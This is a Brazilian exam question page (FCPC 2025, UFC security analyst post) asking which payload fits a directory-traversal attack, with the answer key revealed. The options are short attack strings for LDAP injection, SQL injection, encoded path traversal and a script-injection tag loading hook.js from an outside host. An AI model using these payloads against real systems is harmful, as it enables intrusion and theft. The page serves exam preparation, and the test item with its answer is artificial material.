Pular para o conteúdo principal

Questão de Segurança da Informação — Ataques e ameaças — FCPC 2025

Segurança da InformaçãoAtaques e ameaças
Código
qg456848
Banca
FCPC
Órgão
UFC
Ano
2025
Nível
Superior
Cargo
Analista de Tecnologia da Informação / Área: Segurança da Informação
Durante a realização de testes de invasão em uma aplicação Web, um analista encontrou um vetor de ataque para uma travessia de diretórios. Marque a alternativa que possui um payload válido para este ataque.
  1. A(&(username=p0wn3d)(password=Pa$$w0rd))
  2. BSELECT * FROM tbl_user WHERE username = '' or 1=1--#
  3. C%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/hosts
  4. Dblablabla%3Cscript%20src%3D%22https%3A%2F%2Fsites3gur0.foo%2Fhook.js%22%3E%3C% 2Fscript%3E
Revelar gabarito e comentário

GabaritoC — %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/hosts

Link permanente: /questoes/qg456848